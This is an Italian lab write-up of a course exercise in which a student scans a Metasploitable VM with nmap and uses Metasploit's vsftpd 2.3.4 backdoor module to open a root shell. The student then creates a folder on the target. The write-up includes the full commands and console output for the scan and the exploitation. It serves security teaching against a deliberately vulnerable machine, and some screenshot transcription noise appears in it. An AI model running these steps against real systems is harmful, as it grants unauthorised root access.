

HACKING CON **METASPLOIT**



COMANDA:

Partendo dall'esercizio visto nella lezione di oggi, vi chiediamo di completare una sessione di hacking sulla macchina Metasploitable, sul servizio «**vsftpd**» (lo stesso visto in lezione teorica).

L'unica differenza, sarà l'indirizzo della vostra macchina Metasploitable. Configuratelo come di seguito:
192.168.1.149/24.

Una volta ottenuta la sessione sulla Metasploitable, create una cartella con il comando `mkdir` nella directory di root (/). Chiamate la cartella `test_metasploit`.



SERVIZI E VERSIONI SU META

Il primo step di questa fase è quello di controllare quali sono le porte aperte, servizi attivi sulle porte e versioni dei servizi sulla macchina vittima. (In questo caso metasploitable).

Quindi apriamo il prompt dei comandi su Kali Linux (la macchina attaccante) e scriviamo il seguente comando:

```
nmap -sV 192.168.1.19
```

Di conseguenza dovremmo avere un risultato simile a quello in figura. Dal quale possiamo notare che sulla porta 21 è attivo il protocollo ftp con una versione “vsftpd 2.3.4”

```
File Actions Edit View Help
(kali㉿kali)-[~]
$ nmap -sV 192.168.1.19
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-22 06:59 EST
Nmap scan report for 192.168.1.19
Host is up (0.017s latency).
Not shown: 978 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet        Linux telnetd
25/tcp    open  smtp         Postfix smtpd
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec?
513/tcp   open  login        OpenBSD or Solaris rlogind
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi    GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Lin
```

APRIRE CONSOLE METASPLOIT SU KALI

Dopodichè apriamo un altro terminale su kali linux e avviamo la consola di Metasploit attraverso il seguente comando:

msfconsole

Da qui potremo gestire tutta la parte dell'exploit

Usiamo il comando: “**search vsftpd**”, attraverso il quale possiamo controllare se sono presenti exploit per quella versione. Di conseguenza possiamo notare la presenza di due exploit, scegliamo il secondo in quanto il nostro obiettivo è quello di creare una backdoor all’interno della porta 21.

Usiamo il comando: “**USE 1**” per andare a utilizzare il secondo exploit
Possiamo configurare il payload da mandare, ma in questo caso
manteniamo quello standard della console

```
(kali㉿kali)-[~] snell.php
└─$ sudo su
[sudo] password for kali:
(root㉿kali)-[/home/kali]
└─# msfconsole
Metasploit tip: Open an interactive Ruby terminal with irb
Media      Moltiplic...      Ciclo

MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMN$                                              vMMMM
MMMNl   MMMMM          MMMMM  JMMMM
MMMNl   MMMMMMN        NMMMMMM  JMMMM
MMMNl   MMMMMMMMMMNmmmmNMMMMMMMMMM  JMMMM
MMMNl   MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM  jMMMM
MMMNl   MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM  jMMMM
MMMNl   MMMMM  MMMMM  MMMMM  jMMMM
MMMNl   MMMMM  MMMMM  MMMMM  jMMMM
MMMNl   MMMMN  MMMMM  MMMMM  jMMMM
MMMNl   WMMMN  erp  MMMMM  MMMM#  JMMMM
MMMR?  ?MMN  MMMMM  MMMMM  .dMMMM
MMMNm ^?MM  MMMMM  MMMM^  dMMMM
MMMMMN  ?MM  MM?  NMNMNMNM
MMMMNNMMNe  JMMNNNMNMNM
MMMMNNMMNMNMNM,  eMMNNNMNMNMNM
MMMMNNNMNMNMNMNx  MMMMMNNNMNMNMNM
MMMMNNNMNMNMNMNM+ .. +MMNNNMNMNMNMNMNM

https://metasploit.com
```

```
a msf6 > search vsftpd
Matching Modules
=====
#  Name                                     Disclosure Date   Rank    Check  Description
-  --
0  auxiliary/dos/ftp/vsftpd_232            2011-02-03     normal  Yes    VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03     excellent  No    VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
msf6 > use 1
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):
=====

```

PAYOUT

```
msf6 > search vsftpd
Matching Modules
=====
#  Name                                Disclosure Date   Rank    Check  Description
-  auxiliary/dos/ftp/vsftpd_232        2011-02-03     normal  Yes    VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03     excellent  No    VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
msf6 > use 1
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
```

```
msf6 > use 1
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name      Current Setting  Required  Description
CHOST            no           no        The local client address
CPORT            no           no        The local client port
Proxies          no           no        A proxy chain of format type:host:port[,type:host:port][ ... ]
RHOSTS          yes          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/u
sing-metasploit.html
RPORT            21           yes       The target port (TCP)

Payload options (cmd/unix/interact):
Name      Current Setting  Required  Description
Exploit target:
Id  Name
-  Automatic
```

```
View the full module info with the info, or info -d command.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.1.19
rhosts => 192.168.1.19
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name      Current Setting  Required  Description
CHOST            no           no        The local client address
CPORT            no           no        The local client port
Proxies          no           no        A proxy chain of format type:host:port[,type:host:port][ ... ]
RHOSTS          192.168.1.19  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/u
sing-metasploit.html
```

Dopo aver scelto il n°1 dell'exploit, utilizziamo il comando: “**show options**” per controllare le opzioni del payload, i dati saranno forniti simili alla figura centrale. Possiamo notare che ogni voce ha una sezione “Required”, questo identifica se il dato è necessario o meno per l'exploit.

Dall'alto verso il basso possiamo notare che la voce RHOST necessita di un dato in quanto in REQUIRED è presente la scritta “YES”. Di conseguenza attraverso il comando “set rhost ip metasploitable” possiamo inserire il dato richiesto, quindi l'IP della macchina vittima.

Una volta aggiunta possiamo controllare nuovamente le opzioni del nostro payload e possiamo notare la differenza nell'ultima figura in basso.

EXPLOIT + CHECK

Infine avviamo l'exploit e possiamo notare in figura 1 (In alto) che l'exploit ha avuto successo e ora siamo all'interno della macchina vittima. Per sicurezza effettuiamo un comando "**IF CONFIG**" per costatare se effettivamente siamo dentro.

Notiamo che l'IP è quello di Metasploitable quindi tutto è proceduto nel verso giusto.

L'esercitazione richiede di creare una cartella all'interno del root di metasploitable.

Quindi spostiamoci in root con il comando "**CD /**" e attraverso il comando "**mkdir test_metasploit**" creiamo una cartella con nome "test_metasploit".

Premuto invio, passiamo al nostro metasploitable e controlliamo se effettivamente è stata creata la cartella, il risultato dovrebbe essere come quello nell'ultima figura in basso.

Con il comando "**cd**" ci spostiamo prima in root e dopo nella cartella creata.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.1.19:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.1.19:21 - USER: 331 Please specify the password.
[+] 192.168.1.19:21 - Backdoor service has been spawned, handling ...
[+] 192.168.1.19:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.38:36585 → 192.168.1.19:6200) at 2024-01-22 07:05:31 -0500

ifconfig userpsw.txt
eth0      Link encap:Ethernet HWaddr 08:00:27:7b:7f:8e
          inet addr:192.168.1.19  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe7b:7f8e/64 Scope:Link
            UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
            RX packets:1688 errors:0 dropped:0 overruns:0 frame:0
            TX packets:1557 errors:0 dropped:0 overruns:0 carrier:0
            collisions:0 txqueuelen:1000
            RX bytes:140501 (137.2 KB)  TX bytes:149057 (145.5 KB)
            Base address:0xd010 Memory:f0200000-f0220000
```

```
cd /
mkdir test_metasploit
```

```
root@metasploitable:/# cd /
root@metasploitable:/# cd test_metasploit
root@metasploitable:/test_metasploit# _
```